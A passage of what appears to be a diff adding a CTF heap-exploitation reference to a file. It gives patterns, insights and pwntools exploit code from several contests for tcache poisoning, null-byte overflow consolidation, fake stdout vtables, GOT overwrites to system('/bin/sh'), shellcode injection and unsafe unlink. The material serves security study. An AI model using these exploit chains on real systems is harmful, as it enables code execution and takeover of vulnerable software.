+ **Key insight:** Uninitialized fields are write-what-where primitives in reverse — the attacker does not choose *what* the field holds but can *place* chunks so that useful bytes end up in it. Target any struct field that is (a) read later without being written and (b) subject to chunk reuse. Common culprits: manually-written `malloc` + `read_line` pairs, C++ classes with members that skip initialisation in non-default constructors, and zero-allocated-then-partially-written caches.
94
+
95
+ **References:** picoCTF 2018 — Contacts, writeup 11585
96
+
97
+ ---
98
+
99
+ ## tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)
100
+
101
+ **Pattern:** `strcpy(dst, user_name)` appends a trailing NUL that falls one byte past the allocated chunk, clearing `PREV_INUSE` on the next chunk's size field. With a forged `prev_size`, `free()` triggers backward consolidation across a tcache-resident chunk, producing two overlapping heap regions. Splitting out a remainder chunk keeps main_arena pointers in the `fd`/`bk` of one of the overlapping allocations, giving an unsorted-bin-style libc leak in the tcache era.
102
+
103
+ ```c
104
+ // Allocation pattern (glibc 2.27 tcache)
105
+ char *a = malloc(0xF8); // victim 1
106
+ char *b = malloc(0x18); // small header chunk with PREV_INUSE
107
+ strcpy(a, payload); // 0xF8 bytes + '\0' overflows into b->size
108
+ ```
109
+
110
+ ```python
111
+ from pwn import *
112
+
113
+ io = process("./children_tcache")
114
+ libc = ELF("./libc-2.27.so")
115
+
116
+ # 1. Zero the 0xda memset residue with repeated smaller allocations.
117
+ for size in (0x70, 0x60, 0x50, 0x40):
118
+ io.sendline("add"); io.sendline(str(size)); io.sendline(b"\x00" * size)
119
+
120
+ # 2. Set up two adjacent chunks:
121
+ io.sendline("add"); io.sendline("0xF8"); io.sendline(b"A" * 0xF8) # victim 1
122
+ io.sendline("add"); io.sendline("0x18"); io.sendline(b"B" * 0x18) # header
123
+
124
+ # 3. Free victim 1 into the smallbin (needs a > 0x408 sibling to bypass tcache).
125
+ io.sendline("add"); io.sendline("0x420"); io.sendline(b"X" * 0x420)
126
+ io.sendline("del 0") # smallbin → keeps libc fd/bk
127
+
128
+ # 4. Overflow via strcpy: clears PREV_INUSE, forges prev_size → backward consolidate
129
+ overflow = b"A" * 0xF0 + p64(0x100) # fake prev_size
130
+ io.sendline("edit 1"); io.sendline(overflow)
131
+ io.sendline("del 1") # consolidate: now we overlap
132
+
133
+ # 5. Re-allocate the coalesced region and read the libc pointer that still
134
+ # lives in the old fd/bk location.
135
+ io.sendline("add"); io.sendline("0x110"); io.sendline(b"P" * 0x10)
136
+ io.sendline("show 0")
137
+ leak = u64(io.recvline().strip().ljust(8, b"\x00"))
138
+ libc.address = leak - (libc.symbols["main_arena"] + 0x60)
139
+ log.success(f"libc base {libc.address:#x}")
140
+ ```
141
+
142
+ **Key insight:** tcache bypasses most pre-2.27 consolidation tricks, but the `strcpy` null-byte overflow remains viable because it acts on the *next chunk's header*, not the current chunk's in-use flag. Combined with careful zeroing of glibc 2.26+ memset residue (the `0xda` pattern glibc uses on free), you can re-use classic off-by-one-null techniques even in a tcache world. The magic sizes are: large enough to skip the tcache (>0x408 for the freed chunk), small enough to land next to the overflow target.
143
+
144
+ **References:** HITCON CTF 2018 — Children Tcache, writeup 11929
145
+
146
+ ---
147
+
148
+ ## Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)
149
+
150
+ **Pattern:** Go binary compiled with `cgo` places a name buffer immediately adjacent to a struct whose first field is a function pointer (C-style vtable). Overflowing the name field corrupts the next struct's function pointer. First overwrite → redirect the call to `puts(got['free'])` to leak libc. Second overwrite → point free's GOT entry at `system`, then free a chunk whose contents are `"/bin/sh"`.
151
+
152
+ ```python
153
+ # 1. Leak libc
154
+ payload = b'A'*name_size + p64(puts_plt) + p64(pop_rdi_ret) + p64(free_got)
155
+ io.send(payload); io.recvuntil(b'name: '); libc = u64(io.recv(6).ljust(8, b'\x00'))
156
+
157
+ # 2. Overwrite free@GOT with system
158
+ libc_base = libc - libc_syms['puts']
159
+ io.send(b'A'*name_size + p64(libc_base + libc_syms['system']))
160
+
161
+ # 3. Free a chunk whose contents are "/bin/sh\x00"
162
+ io.sendline('/bin/sh')
163
+ io.sendline('delete 0')
164
+ ```
165
+
166
+ **Key insight:** cgo binaries often have C-style structs next to Go-allocated buffers, so classic C-heap techniques still work against Go servers. Look for `GoString` + `char*` + function pointer patterns in the decompile; the layout is usually deterministic.
167
+
168
+ **References:** RITSEC CTF 2018 — Yet Another HR Management Framework, writeups 12283, 12287
169
+
170
+ ---
171
+
172
+ ## Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)
173
+
174
+ **Pattern:** The visible menu caps allocations at a few chunks, but disassembly reveals an undocumented option (`1337`) that calls `malloc` and `edit` without updating the counter — effectively giving you unlimited allocations. Combined with a vanilla tcache UAF, this lets you flood the tcache, overwrite an entry's `fd` with a BSS target, and `malloc` arbitrary addresses.
175
+
176
+ ```python
177
+ def hidden(sz, data):
178
+ p.sendlineafter(b'>', b'1337')
179
+ p.sendlineafter(b'size:', str(sz).encode())
180
+ p.sendafter(b'data:', data)
181
+
182
+ free(0); free(1)
183
+ hidden(0x20, p64(bss_target)) # tcache fd → bss_target
184
+ _ = malloc(0x20) # first chunk back
185
+ shell = malloc(0x20) # returns bss_target
186
+ ```
187
+
188
+ **Key insight:** Always dump the menu parser for undocumented branches before assuming a challenge is "rate-limited". Numeric options like `1337`, `9999`, `0xdead` are classic bypasses that the author ships to debug the challenge.
189
+
190
+ **References:** FireShell CTF 2019 — babyheap, writeup 12962
191
+
192
+ ---
193
+
194
+ ## Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)
195
+
196
+ **Pattern:** Small allocation budget, fastbin + tcache available. Double-free a fastbin chunk into the tcache, malloc to obtain a tcache entry that points at `_IO_2_1_stdout_`, then overwrite stdout's `vtable` pointer to a fake jump table where `_IO_file_overflow` → `system`. Next printf call executes `system("/bin/sh")`.
197
+
198
+ ```python
199
+ # 1. Free A twice (bypasses fastbin double-free via tcache)
200
+ free(A); free(A)
201
+ # 2. Malloc returns A; write stdout addr as next fd
202
+ edit(A, p64(stdout))
203
+ # 3. Next malloc returns stdout
204
+ malloc()
205
+ malloc() # returns &stdout
206
+ edit(stdout, fake_file_struct(vtable=fake_vt))
207
+ ```
208
+
209
+ Fake vtable entry: slot for `_IO_file_overflow = system`.
210
+
211
+ **Key insight:** tcache skips fastbin safety checks, so a double-free directly into the tcache works without the usual size-field trickery. The resulting write-where primitive reaches `_IO_2_1_stdout_` in libc trivially.
212
+
213
+ **References:** BCTF 2018 — easiest, writeup 12489
214
+
215
+ ---
216
+
217
+ ## Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)
218
+
219
+ **Pattern:** Only ~2 allocations available — too few for a traditional tcache dup. Instead, fill tcache, overflow into fastbin, craft chunk whose header points inside a known structure. When fastbin allocation promotes back into tcache (after a future free), malloc returns the header address.
220
+
221
+ ```python
222
+ for _ in range(7): free(tcache_chunks[_]) # fill tcache bin
223
+ free(fastbin_chunk) # goes to fastbin
224
+ edit(fastbin_chunk, p64(target_hdr)) # poison fastbin fd
225
+ # Drain tcache so next free of fastbin_chunk promotes:
226
+ for _ in range(7): malloc(size)
227
+ free(fastbin_chunk) # now lands in tcache
228
+ malloc(size) # returns tcache head = target_hdr
229
+ ```
230
+
231
+ **Key insight:** tcache and fastbin share size classes at certain boundaries; a chunk that starts in one often migrates to the other. Use that promotion as an additional reallocation step when budget is tight.
232
+
233
+ **References:** BCTF 2018 — three/houseofatum, writeups 12476, 12477
234
+
235
+ ---
236
+
237
+ ## 6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)
238
+
239
+ **Pattern (archiver):** C++ compressor keeps a 48-element QWORD cache (`cached_qwords[48]`) but the cache-read/write opcodes accept a 6-bit index (0-63), giving OOB access into the surrounding object (`buf`, `buf_size`, `buf_offset_Q`, `written_bytes`, `print_uncomp_fsz`). All operations are QWORD-aligned so you cannot directly slice a function pointer; instead, abuse the unused `written_bytes` counter as a programmable offset accumulator to turn `print_uncomp_fsz` into `cat_flag()`.
240
+
241
+ ```python
242
+ # OOB write primitives (a2 in [0, 0x3f]):
243
+ # cache_qword(a2, k) -> cached_qwords[a2] = buf[buf_off_Q - k]
244
+ # save_cached_qword_to_comp(a2) -> buf[++off] = cached_qwords[a2]; written_bytes += 8
245
+
246
+ # 1. Preallocate buf so it is not realloc'd later (avoids data loss).
247
+ # 2. Save print_uncomp_fsz into buf via OOB save_cached_qword_to_comp(0x34).
248
+ # 3. Move it back into written_bytes via OOB cache_qword(0x33, 1).
249
+ # 4. Emit 0x38 cached QWORDs -> written_bytes += 0x38*8 == 0x1c0 (offset to cat_flag).
250
+ # 5. Save the now-incremented written_bytes into buf, then OOB write it back
251
+ # on top of print_uncomp_fsz. Trigger an error path so main() calls it.
252
+ payload += save_cached_qword_to_comp(0x34) # fn ptr -> buf
253
+ payload += cache_qword(0x33, 1) # buf -> written_bytes
254
+ payload += save_cached_qword_to_comp(0) * 0x38 # written_bytes += 0x1c0
255
+ payload += save_cached_qword_to_comp(0x33) # written_bytes -> buf
256
+ payload += cache_qword(0x34, 1) # buf -> print_uncomp_fsz
257
+ ```
258
+
259
+ **Key insight:** When OOB writes are QWORD-aligned but the target function sits only `N*0x10` bytes from an existing pointer, look for a process-local counter in the same struct that is incremented by a known stride. Treating that counter as an arithmetic shim turns an aligned-write primitive into a byte-precise pointer increment, bypassing PIE without ever leaking a code address.
260
+
261
+ **References:** Codegate CTF 2019 Preliminary — archiver, writeup 13014
262
+
263
+ ---
264
+
265
+ ## IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)
266
+
267
+ **Pattern (BabyHeap2017):** Heap overflow in a full-mitigation binary (Full RELRO, canary, NX, PIE, ASLR). `calloc` normally zeroes freshly-allocated chunks, blocking the classic unsorted-bin leak where fd/bk overlap reusable data. However, when the chunk's `IS_MMAPED` flag is set, glibc skips zeroing. Overflow the preceding chunk to flip `IS_MMAPED` on a freed unsorted-bin chunk, then re-allocate it with `calloc` — the arena pointers in fd/bk survive and leak libc.
268
+
269
+ ```python
270
+ # Layout: A (0x80) | B (0x80 freed -> unsorted) | C (victim with overflow)
271
+ # Overflow from A into B's chunk header: set size |= IS_MMAPED (bit 1 of size field)
272
+ edit(A, b'A'*0x80 + p64(0) + p64(0x91 | 0x2)) # prev_size=0, size=0x91|IS_MMAPED
273
+
274
+ # calloc-reallocate B: because IS_MMAPED is set, calloc does NOT memset it.
275
+ # B's fd/bk still point to main_arena + 0x58 -> libc leak via view(B).
276
+ malloc(0x80) # returns B with libc pointer intact in first 16 bytes
277
+ libc_base = leak - main_arena_offset
278
+
279
+ # Follow-up: fastbin dup -> __malloc_hook -> one_gadget
280
+ ```
281
+
282
+ **Key insight:** `calloc`'s zeroing is conditional on the allocator path. Setting `IS_MMAPED` via heap overflow tricks `calloc` into treating the reused chunk as freshly mmap'd and skipping `memset`, preserving any arena pointers previously written into fd/bk. A 2-bit metadata overwrite defeats the "calloc blocks leaks" assumption.
283
+
284
+ **References:** 0CTF 2017 Quals — babyheap, writeup 13262
285
+
286
+ ---
287
+
288
+ ## Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)
289
+
290
+ **Pattern (straw_clutcher):** File-server heap has a `RENAME` handler that length-checks `old_name` twice instead of `old_name`/`new_name`, giving a bounded heap overflow into the adjacent `file_t` (`filename[0x20]`, `file_size`, `data`, `free_option`, `prev_file`). Every filename must match `[A-Za-z0-9]+.[A-Za-z0-9]{3}`, which rules out full fastbin-fd overwrites — but the regex only sees the **first null-terminated string** stored in `filename`, so the bytes after a preserved null are unconstrained. Corrupt only the LSB of `prev_file` so it re-points to `file->data` (attacker-controlled), forging a fake chunk that enables double-free + fastbin attack on `__malloc_hook`.
291
+
292
+ ```python
293
+ # 1. Leak libc/heap by overwriting file_size to huge value, then RETR dumps the heap.
294
+ # 2. Create file whose data bytes satisfy regex as a fake file_t chunk header.
295
+ pc.sendline('PUT EEE.EXE {}'.format(0x48))
296
+ pc.send(p64(0x4848482e484848) + p64(0)*4 # fake filename "HHH.HHH"
297
+ + p64(0x68) # fake file_size
298
+ + p64(heap + 0x250) + p64(0) # fake data
299
+ + p64(heap + 0x190)) # fake prev_file
300
+ # 3. Produce two 0x70 freed chunks, then overwrite LSB of file->prev_file via rename:
301
+ pc.sendline('RENAME EEE.EXE ' + 'E'*7*8 + 'EEEEE.EXP')
302
+ # Only LSB of prev_file changes -> upper bytes preserved, LSB lands inside data.
303
+ # 4. DELE the forged entry -> double-free on 0x70 tcache/fastbin.
304
+ # 5. Classic fastbin poison onto __malloc_hook - 0x23, then trigger with PUT.
305
+ ```
306
+
307
+ **Key insight:** When an overflow is byte-addressable but must pass a character-class filter, target only the LSB of heap-metadata pointers. Heap addresses share upper bytes across chunks, so a single attacker-controlled LSB relocates a pointer inside the same 256-byte window — enough to land it in a buffer you already control, bypassing regex/charset constraints that would reject a full 8-byte overwrite.
308
+
309
+ **References:** BSidesSF 2019 — straw_clutcher, writeup 13763
310
+
311
+ ---
312
+
313
+ ## Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)
314
+
315
+ **Pattern:** Non-glibc allocator with naive `free` — sets `mem[fd] = bk` (and symmetric `mem[bk+4] = fd`) without any safe-unlink consistency check. Overflow from the 10th chunk (0x104 bytes) corrupts chunk 11's `fd`/`bk` so that when chunk 9 is freed and chunk 11 becomes its "neighbour" during consolidation, the unlink writes `printf@GOT` → shellcode jump.
316
+
317
+ ```python
318
+ from pwn import *
319
+ context(arch='i386', os='linux')
320
+
321
+ printf_got = 0x804c004
322
+ array_10_addr = 0x... # leaked from banner output "loc=0xADDR"
323
+
324
+ payload = p32(printf_got - 8) # fake fd -> target = printf GOT (minus 8 for offset)
325
+ payload += p32(array_10_addr + 8) # fake bk -> value = addr of shellcode jump
326
+ payload += b"\xeb\x08" + b"A"*8 + asm(shellcraft.sh()) # jmp +8; pad; shellcode
327
+ payload += b"A" * (260 - len(payload))
328
+ payload += p32(0) # next chunk's size field (prev_in_use = 0)
329
+ ```
330
+
331
+ **Key insight:** Custom allocators almost never implement glibc's `fd->bk == chunk && bk->fd == chunk` safe-unlink check introduced in 2004. The classic `write-what-where` via `unlink(chunk)` applies verbatim — target GOT entries that will be called soon (printf, free, puts) and bake a short `jmp +8` over the 8-byte write slot into the shellcode. Validate the faked `size` field of the sentinel chunk so the allocator still consolidates instead of aborting.
332
+
333
+ **References:** DEF CON CTF Qualifier 2014 — heap, writeup 13953